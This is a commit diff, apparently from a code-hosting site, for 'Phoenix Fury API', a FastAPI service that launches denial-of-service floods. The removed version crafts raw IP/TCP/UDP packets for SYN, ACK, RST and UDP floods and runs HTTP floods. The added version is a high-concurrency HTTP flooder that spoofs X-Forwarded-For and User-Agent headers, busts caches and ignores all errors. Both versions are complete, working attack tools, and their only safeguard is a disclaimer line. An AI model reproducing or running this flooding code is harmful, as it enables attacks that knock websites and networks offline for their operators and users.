Samuraiog commited on
Commit
95be798
·
verified ·
1 Parent(s): 252cb2e

Update phoenix_fury_api.py

Browse files
Files changed (1) hide show
  1. phoenix_fury_api.py +172 -331
phoenix_fury_api.py CHANGED
@@ -1,356 +1,197 @@
1
- # ====================================================================================
2
- # PHOENIX FURY API v6.0 - APOCALYPSE EDITION
3
- #
4
- # - GO-INSPIRED L4 ENGINE: A high-performance, low-level Layer 4 engine ported
5
- # from Go, using raw sockets to craft IP/TCP/UDP headers from scratch for
6
- # maximum PPS (Packets Per Second).
7
- # - ADVANCED L7 SPOOFING: Layer 7 attacks now feature fully randomized User-Agent,
8
- # Referer, and X-Forwarded-For headers for every request, mimicking real
9
- # distributed traffic.
10
- # - COMPLETE ATTACK SUITE: The definitive version with all requested methods:
11
- # L4 (SYN, ACK, RST, FIN, UDP, UDP-PPS) and L7 (GET, POST, HEAD).
12
- # - UNBREAKABLE STABILITY: Built on the rock-solid v5 architecture, retaining
13
- # the robust AttackManager, BackgroundTasks lifecycle, and critical SSL fixes.
14
- #
15
- # *** The ultimate, all-in-one stress testing tool for authorized professionals. ***
16
- # ====================================================================================
17
-
18
- import socket
19
- import struct
20
  import random
 
 
21
  import time
22
- import multiprocessing
23
- import threading
24
- import asyncio
25
- import aiohttp
26
- import os
27
- import sys
28
  import psutil
29
- import ssl
30
- from typing import Literal, Optional, List, Union
31
- from ctypes import c_ulonglong
 
 
32
 
33
- # Use uvloop for a significant performance boost if available
34
  try:
35
  import uvloop
36
  asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
37
  except ImportError:
38
  pass
39
 
40
- # FastAPI & Pydantic
41
- from fastapi import FastAPI, HTTPException, BackgroundTasks
42
- from pydantic import BaseModel, Field, validator
43
- import uvicorn
44
-
45
- # --- Application Setup ---
46
  app = FastAPI(
47
- title="🔥 Phoenix Fury API v6.0 - Apocalypse Edition",
48
- description="The definitive L4/L7 stress testing tool with a Go-inspired raw socket engine and advanced L7 spoofing capabilities. For authorized use only.",
49
- version="6.0.0"
50
  )
51
 
52
- # --- Constants & Configuration ---
53
- CPU_COUNT = psutil.cpu_count(logical=True)
54
- STATS_BATCH_UPDATE_SIZE = 1000
55
-
56
- # --- L7 Spoofing Headers ---
57
- USER_AGENTS = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"]
58
- REFERERS = ["https://www.google.com/", "https://www.facebook.com/", "https://www.twitter.com/", "https://www.amazon.com/"]
59
-
60
- def get_random_headers() -> dict:
61
- """Generates a dictionary of randomized headers for L7 attacks."""
62
- rand_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
 
 
 
 
 
 
 
 
 
 
 
 
63
  return {
64
  "User-Agent": random.choice(USER_AGENTS),
65
  "Referer": random.choice(REFERERS),
66
- "X-Forwarded-For": rand_ip,
67
- "Accept": "*/*",
 
68
  "Accept-Language": "en-US,en;q=0.5",
69
- "Accept-Encoding": "gzip, deflate, br",
70
- "Connection": "close"
 
71
  }
72
 
73
- # ====================================================================================
74
- # Pydantic API Models
75
- # ====================================================================================
76
- class BaseAttackConfig(BaseModel):
77
- target: str = Field(..., description="Target hostname or IP address")
78
- port: int = Field(..., ge=1, le=65535, description="Target port")
79
- duration: int = Field(..., ge=10, le=7200, description="Attack duration in seconds")
80
- processes: int = Field(CPU_COUNT * 2, ge=1, le=CPU_COUNT * 16, description=f"Number of processes. Optimal is 2-4x CPU Cores.")
81
-
82
- class L4TCPConfig(BaseAttackConfig):
83
- method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
84
-
85
- class L4UDPConfig(BaseAttackConfig):
86
- method: Literal["udp", "pps"] = Field("udp", description="'udp' for large packets, 'pps' for minimal (0-byte) packets for max PPS.")
87
- payload_size: int = Field(1024, ge=0, le=1472, description="Size of UDP payload. Ignored if method is 'pps'.")
88
-
89
- class L7Config(BaseAttackConfig):
90
- concurrency_per_process: int = Field(1024, ge=1, le=16384, description="Concurrent async tasks per process.")
91
- method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
92
- path: str = Field("/", description="Request path")
93
-
94
- class StatusResponse(BaseModel):
95
- attack_active: bool; attack_type: str; target_host: str; target_ip: str; port: int
96
- duration: int; elapsed_time: float; processes: int; total_sent: int
97
- current_rate_pps_rps: float; cpu_usage_percent: float; memory_usage_percent: float
98
-
99
- # ====================================================================================
100
- # CORE NETWORKING & PACKET CRAFTING (Go-Inspired)
101
- # ====================================================================================
102
- def check_root() -> bool:
103
- try: return os.geteuid() == 0
104
- except AttributeError: import ctypes; return ctypes.windll.shell32.IsUserAnAdmin() != 0
105
-
106
- def resolve_target(target: str) -> str:
107
- try:
108
- if "://" in target: target = target.split("://")[1].split("/")[0]
109
- return socket.gethostbyname(target)
110
- except socket.gaierror: raise ValueError(f"Could not resolve hostname: {target}")
111
-
112
- def get_local_ip(target_ip: str) -> str:
113
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect((target_ip, 1)); ip = s.getsockname()[0]; s.close(); return ip
114
-
115
- def calculate_checksum(data: bytes) -> int:
116
- s = 0
117
- if len(data) % 2: data += b'\0'
118
- for i in range(0, len(data), 2): s += (data[i] << 8) + data[i+1]
119
- s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (~s) & 0xffff
120
-
121
- def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
122
- header = struct.pack('!BBHHHBBH4s4s',
123
- (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
124
- socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
125
- )
126
- return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]
127
-
128
- def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
129
- seq = random.randint(1, 4294967295)
130
- ack_seq = 0
131
- header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
132
- pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
133
- checksum = calculate_checksum(pseudo_header + header)
134
- return header[:16] + struct.pack('!H', checksum) + header[18:]
135
-
136
- def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
137
- udp_len = 8 + len(payload)
138
- header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
139
- pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
140
- checksum = calculate_checksum(pseudo_header + header + payload)
141
- return header[:6] + struct.pack('!H', checksum)
142
-
143
- # ====================================================================================
144
- # ATTACK WORKER PROCESSES
145
- # ====================================================================================
146
- def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
147
- try:
148
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
149
- sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
150
- local_ip = get_local_ip(target_ip)
151
- except Exception as e:
152
- print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr); return
153
-
154
- local_counter = 0
155
- flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
156
-
157
- if attack_type == 'udp':
158
- payload = os.urandom(0 if method_details == 'pps' else method_details)
159
- udp_len = 8 + len(payload)
160
-
161
- while not stop_event.is_set():
162
- src_port = random.randint(1025, 65535)
163
- if attack_type == 'tcp':
164
- ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
165
- tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
166
- packet = ip_header + tcp_header
167
- else: # udp
168
- ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
169
- udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
170
- packet = ip_header + udp_header + payload
171
  try:
172
- sock.sendto(packet, (target_ip, port))
173
- local_counter += 1
174
- if local_counter >= STATS_BATCH_UPDATE_SIZE:
175
- with shared_counter.get_lock(): shared_counter.value += local_counter
176
- local_counter = 0
177
- except: pass
178
- if local_counter > 0:
179
- with shared_counter.get_lock(): shared_counter.value += local_counter
180
- sock.close()
181
-
182
- async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
183
- ssl_context = ssl.create_default_context(); ssl_context.check_hostname = False; ssl_context.verify_mode = ssl.CERT_NONE
184
- connector = aiohttp.TCPConnector(limit=None, force_close=True, ssl=ssl_context)
185
- timeout = aiohttp.ClientTimeout(total=10, connect=5)
186
-
187
- async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
188
- async def task_worker():
189
- local_counter = 0
190
- while not stop_event.is_set():
191
- try:
192
- async with session.request(method, f"{url}?{random.randint(1, 99999999)}", headers=get_random_headers()):
193
- local_counter += 1
194
- except:
195
- local_counter += 1
196
- finally:
197
- if local_counter >= STATS_BATCH_UPDATE_SIZE:
198
- with shared_counter.get_lock(): shared_counter.value += local_counter
199
- local_counter = 0
200
- await asyncio.sleep(0)
201
- if local_counter > 0:
202
- with shared_counter.get_lock(): shared_counter.value += local_counter
203
- tasks = [task_worker() for _ in range(concurrency)]
204
- await asyncio.gather(*tasks)
205
-
206
- def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
207
- protocol = "https" if port in [443, 8443] else "http"
208
- url = f"{protocol}://{target_ip}:{port}{path}"
 
 
209
  try:
210
- asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
 
 
 
 
 
211
  except Exception as e:
212
- print(f"[PID {os.getpid()}] L7 Worker fatal error: {e}", file=sys.stderr)
213
-
214
- # ====================================================================================
215
- # CENTRALIZED ATTACK MANAGER (SINGLETON)
216
- # ====================================================================================
217
- class AttackManager:
218
- _instance = None
219
- def __new__(cls):
220
- if cls._instance is None:
221
- cls._instance = super(AttackManager, cls).__new__(cls); cls._instance._initialized = False
222
- return cls._instance
223
-
224
- def __init__(self):
225
- if self._initialized: return
226
- self._initialized = True; self.lock = threading.Lock(); self.stats_thread = None; self._reset_state()
227
-
228
- def _reset_state(self):
229
- self.attack_active = False; self.attack_type = "None"; self.target_host = "None"
230
- self.target_ip = "None"; self.port = 0; self.duration = 0; self.start_time = 0.0
231
- self.process_count = 0; self.processes: List[multiprocessing.Process] = []
232
- self.stop_event = multiprocessing.Event()
233
- self.counter = multiprocessing.Value(c_ulonglong, 0); self.current_rate = 0.0
234
-
235
- def is_active(self):
236
- with self.lock: return self.attack_active
237
-
238
- def _stats_calculator(self):
239
- last_check_time = time.time(); last_count = 0
240
- while not self.stop_event.is_set():
241
- time.sleep(1)
242
- now = time.time(); current_count = self.counter.value; elapsed = now - last_check_time
243
- if elapsed > 0: self.current_rate = (current_count - last_count) / elapsed
244
- last_check_time = now; last_count = current_count
245
- self.current_rate = 0.0
246
-
247
- def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
248
- with self.lock:
249
- if self.attack_active: return
250
- try:
251
- self.target_host = config.target; self.target_ip = resolve_target(self.target_host)
252
- if family == 'l4' and not check_root(): raise PermissionError("Layer 4 attacks require root privileges.")
253
- except (ValueError, PermissionError) as e:
254
- print(f"Attack validation failed: {e}", file=sys.stderr); self._reset_state(); return
255
-
256
- self.attack_active = True; self.port = config.port; self.duration = config.duration
257
- self.process_count = config.processes; self.start_time = time.time()
258
-
259
- worker_target, worker_args, attack_name = (None, None, "Unknown")
260
- if family == 'l7' and isinstance(config, L7Config):
261
- attack_name = f"L7-{config.method.upper()}"; worker_target = l7_worker_process
262
- worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, config.concurrency_per_process)
263
- elif family == 'l4':
264
- worker_target = l4_worker_process
265
- if isinstance(config, L4TCPConfig):
266
- attack_name = f"L4-TCP-{config.method.upper()}"
267
- worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'tcp', config.method)
268
- elif isinstance(config, L4UDPConfig):
269
- attack_name = f"L4-UDP-{config.method.upper()}";
270
- worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.method if config.method == 'pps' else config.payload_size)
271
- self.attack_type = attack_name
272
-
273
- print("="*60 + f"\n🔥 PHOENIX FURY APOCALYPSE - ATTACK INITIATED 🔥\n" +
274
- f" Type: {self.attack_type} | Target: {self.target_host}:{self.port} ({self.target_ip})\n" +
275
- f" Duration: {self.duration}s | Processes: {self.process_count}\n" + "="*60)
276
-
277
- for _ in range(self.process_count):
278
- p = multiprocessing.Process(target=worker_target, args=worker_args); self.processes.append(p); p.start()
279
- self.stats_thread = threading.Thread(target=self._stats_calculator); self.stats_thread.start()
280
-
281
- def stop(self):
282
- with self.lock:
283
- if not self.attack_active: return
284
- print(f"\nStop signal received. Terminating {len(self.processes)} processes...")
285
- self.stop_event.set()
286
- for p in self.processes: p.join(timeout=5)
287
- for p in self.processes:
288
- if p.is_alive(): print(f"Terminating hanging process PID: {p.pid}"); p.terminate()
289
- if self.stats_thread: self.stats_thread.join(timeout=2)
290
- elapsed = time.time() - self.start_time; total_sent = self.counter.value
291
- avg_rate = total_sent / elapsed if elapsed > 0 else 0
292
- print("="*40 + "\n✅ ATTACK TERMINATED.\n" + f" Total Sent: {total_sent:,}\n" +
293
- f" Elapsed Time: {elapsed:.2f}s\n" + f" Average Rate: {avg_rate:,.2f} PPS/RPS\n" + "="*40)
294
- self._reset_state()
295
-
296
- def get_status(self) -> StatusResponse:
297
- with self.lock:
298
- return StatusResponse(
299
- attack_active=self.attack_active, attack_type=self.attack_type, target_host=self.target_host,
300
- target_ip=self.target_ip, port=self.port, duration=self.duration,
301
- elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
302
- processes=self.process_count, total_sent=self.counter.value,
303
- current_rate_pps_rps=round(self.current_rate, 2),
304
- cpu_usage_percent=psutil.cpu_percent(), memory_usage_percent=psutil.virtual_memory().percent
305
- )
306
-
307
- MANAGER = AttackManager()
308
-
309
- # ====================================================================================
310
- # FASTAPI ENDPOINTS
311
- # ====================================================================================
312
- @app.on_event("startup")
313
- def on_startup():
314
- print("="*50 + "\n🔥 Phoenix Fury API v6.0 - Apocalypse Edition is ready.")
315
- print(f" Detected {CPU_COUNT} logical CPU cores. Recommended max processes: {CPU_COUNT * 4}.")
316
- if check_root(): print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
317
- else: print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
318
- print("="*50)
319
-
320
- def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
321
- if MANAGER.is_active():
322
- raise HTTPException(status_code=409, detail="An attack is already in progress.")
323
- background_tasks.add_task(MANAGER.start, config, family)
324
- background_tasks.add_task(time.sleep, config.duration)
325
- background_tasks.add_task(MANAGER.stop)
326
-
327
- @app.post("/attack/layer7")
328
- def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
329
- run_attack_lifecycle(config, 'l7', background_tasks)
330
- return {"status": "success", "message": f"L7 attack initiated on {config.target}:{config.port}"}
331
-
332
- @app.post("/attack/layer4/tcp")
333
- def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
334
- run_attack_lifecycle(config, 'l4', background_tasks)
335
- return {"status": "success", "message": f"L4 TCP attack initiated on {config.target}:{config.port}"}
336
-
337
- @app.post("/attack/layer4/udp")
338
- def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
339
- run_attack_lifecycle(config, 'l4', background_tasks)
340
- return {"status": "success", "message": f"L4 UDP attack initiated on {config.target}:{config.port}"}
341
-
342
- @app.post("/attack/stop")
343
- def api_stop_attack():
344
- if not MANAGER.is_active(): return {"status": "info", "message": "No attack is currently running."}
345
- MANAGER.stop(); return {"status": "success", "message": "Stop signal sent."}
346
 
347
- @app.get("/status", response_model=StatusResponse)
348
- def get_status(): return MANAGER.get_status()
 
 
 
 
 
 
 
 
 
 
349
 
350
  @app.get("/")
351
- def root(): return {"message": "🔥 Phoenix Fury API v6.0 - Apocalypse Edition", "docs": "/docs"}
352
-
353
- # --- Main Execution ---
354
- if __name__ == "__main__":
355
- multiprocessing.freeze_support()
356
- uvicorn.run(app, host="0.0.0.0", port=8000)
 
1
+ import asyncio
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
2
  import random
3
+ import socket
4
+ import ssl
5
  import time
 
 
 
 
 
 
6
  import psutil
7
+ from typing import Dict
8
+ from fastapi import FastAPI, HTTPException
9
+ from pydantic import BaseModel, Field
10
+ import aiohttp
11
+ from aiohttp import ClientTimeout, TCPConnector
12
 
13
+ # Try to use uvloop for massive performance gain
14
  try:
15
  import uvloop
16
  asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
17
  except ImportError:
18
  pass
19
 
 
 
 
 
 
 
20
  app = FastAPI(
21
+ title="🔥 Phoenix Fury L7 MaxPower",
22
+ description="AUTOMATED MAX-POWER HTTP FLOODER FOR AUTHORIZED TESTING ONLY",
23
+ version="7.0"
24
  )
25
 
26
+ # ======================
27
+ # CONFIG (HARD-CODED FOR MAX POWER)
28
+ # ======================
29
+ CPU_CORES = psutil.cpu_count(logical=True) or 8
30
+ TOTAL_CONCURRENCY = CPU_CORES * 4096 # ~32k tasks on 8-core
31
+ REQUEST_TIMEOUT = 3 # Aggressive timeout for max turnover
32
+ BATCH_SIZE = 10_000 # Update stats every 10k requests
33
+
34
+ # Spoofing data
35
+ USER_AGENTS = [
36
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
37
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
38
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
39
+ ]
40
+ REFERERS = [
41
+ "https://www.google.com/",
42
+ "https://www.bing.com/",
43
+ "https://www.facebook.com/",
44
+ "https://www.twitter.com/"
45
+ ]
46
+
47
+ def spoof_headers() -> Dict[str, str]:
48
+ ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
49
  return {
50
  "User-Agent": random.choice(USER_AGENTS),
51
  "Referer": random.choice(REFERERS),
52
+ "X-Forwarded-For": ip,
53
+ "X-Real-IP": ip,
54
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
55
  "Accept-Language": "en-US,en;q=0.5",
56
+ "Accept-Encoding": "gzip, deflate",
57
+ "Connection": "keep-alive",
58
+ "Cache-Control": "max-age=0"
59
  }
60
 
61
+ # ======================
62
+ # GLOBAL STATE
63
+ # ======================
64
+ class AttackState:
65
+ def __init__(self):
66
+ self.active = False
67
+ self.target = ""
68
+ self.start_time = 0
69
+ self.total_requests = 0
70
+ self.current_rps = 0
71
+ self.last_count = 0
72
+ self.last_time = time.time()
73
+
74
+ STATE = AttackState()
75
+
76
+ # ======================
77
+ # WORKER COROUTINE (MAX SPEED)
78
+ # ======================
79
+ async def flood_worker(url: str, session: aiohttp.ClientSession):
80
+ local_count = 0
81
+ while STATE.active:
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
82
  try:
83
+ # Add random cache-buster
84
+ target_url = f"{url}?_={random.randint(1000000, 999999999)}"
85
+ async with session.get(target_url, headers=spoof_headers(), timeout=REQUEST_TIMEOUT):
86
+ pass # Don't wait for body; just send & forget
87
+ except:
88
+ pass # Ignore all errors — keep flooding
89
+ local_count += 1
90
+ if local_count >= BATCH_SIZE:
91
+ STATE.total_requests += local_count
92
+ local_count = 0
93
+ if local_count > 0:
94
+ STATE.total_requests += local_count
95
+
96
+ # ======================
97
+ # RPS CALCULATOR
98
+ # ======================
99
+ async def rps_monitor():
100
+ while STATE.active:
101
+ await asyncio.sleep(1)
102
+ now = time.time()
103
+ elapsed = now - STATE.last_time
104
+ if elapsed > 0:
105
+ current = STATE.total_requests
106
+ STATE.current_rps = (current - STATE.last_count) / elapsed
107
+ STATE.last_count = current
108
+ STATE.last_time = now
109
+
110
+ # ======================
111
+ # ATTACK LAUNCHER
112
+ # ======================
113
+ @app.post("/start")
114
+ async def start_attack(target: str = Field(..., description="Full URL: http://target.com or https://target.com")):
115
+ if STATE.active:
116
+ raise HTTPException(409, "Attack already running")
117
+
118
+ if not target.startswith(("http://", "https://")):
119
+ raise HTTPException(400, "Target must start with http:// or https://")
120
+
121
+ # Resolve to IP to avoid DNS lookup per request
122
  try:
123
+ hostname = target.split("://")[1].split("/")[0].split(":")[0]
124
+ ip = socket.gethostbyname(hostname)
125
+ # Reconstruct URL with IP to bypass DNS
126
+ protocol = "https" if target.startswith("https") else "http"
127
+ port_part = ":" + target.split("://")[1].split("/")[0].split(":")[1] if ":" in target.split("://")[1].split("/")[0] else ""
128
+ resolved_url = f"{protocol}://{ip}{port_part}/"
129
  except Exception as e:
130
+ raise HTTPException(400, f"Failed to resolve target: {e}")
131
+
132
+ STATE.active = True
133
+ STATE.target = target
134
+ STATE.start_time = time.time()
135
+ STATE.total_requests = 0
136
+ STATE.current_rps = 0
137
+ STATE.last_count = 0
138
+ STATE.last_time = time.time()
139
+
140
+ print(f"🚀 MAX-POWER L7 FLOOD STARTED on {target} (resolved to {ip})")
141
+ print(f" Concurrency: {TOTAL_CONCURRENCY} | Timeout: {REQUEST_TIMEOUT}s")
142
+
143
+ # Configure session
144
+ ssl_ctx = ssl.create_default_context()
145
+ ssl_ctx.check_hostname = False
146
+ ssl_ctx.verify_mode = ssl.CERT_NONE
147
+ connector = TCPConnector(
148
+ limit=0, # No limit on connections
149
+ limit_per_host=0,
150
+ force_close=True,
151
+ keepalive_timeout=0,
152
+ enable_cleanup_closed=True
153
+ )
154
+ timeout = ClientTimeout(total=REQUEST_TIMEOUT, connect=1, sock_read=2)
155
+
156
+ async def run_flood():
157
+ async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
158
+ tasks = [flood_worker(resolved_url, session) for _ in range(TOTAL_CONCURRENCY)]
159
+ await asyncio.gather(*tasks, return_exceptions=True)
160
+
161
+ # Launch flood + monitor in background
162
+ asyncio.create_task(run_flood())
163
+ asyncio.create_task(rps_monitor())
164
+
165
+ return {"status": "started", "target": target, "concurrency": TOTAL_CONCURRENCY}
166
+
167
+ @app.post("/stop")
168
+ async def stop_attack():
169
+ if not STATE.active:
170
+ return {"status": "idle"}
171
+ STATE.active = False
172
+ elapsed = time.time() - STATE.start_time
173
+ avg_rps = STATE.total_requests / elapsed if elapsed > 0 else 0
174
+ print(f"✅ ATTACK STOPPED | Total: {STATE.total_requests:,} | Avg RPS: {avg_rps:,.0f}")
175
+ return {
176
+ "status": "stopped",
177
+ "total_requests": STATE.total_requests,
178
+ "elapsed_sec": round(elapsed, 2),
179
+ "avg_rps": round(avg_rps, 2)
180
+ }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
181
 
182
+ @app.get("/status")
183
+ async def get_status():
184
+ elapsed = time.time() - STATE.start_time if STATE.active else 0
185
+ return {
186
+ "active": STATE.active,
187
+ "target": STATE.target,
188
+ "elapsed_sec": round(elapsed, 2),
189
+ "total_requests": STATE.total_requests,
190
+ "current_rps": round(STATE.current_rps, 2),
191
+ "cpu_percent": psutil.cpu_percent(),
192
+ "memory_percent": psutil.virtual_memory().percent
193
+ }
194
 
195
  @app.get("/")
196
+ async def root():
197
+ return {"message": "🔥 Phoenix Fury L7 MaxPower — /start to begin"}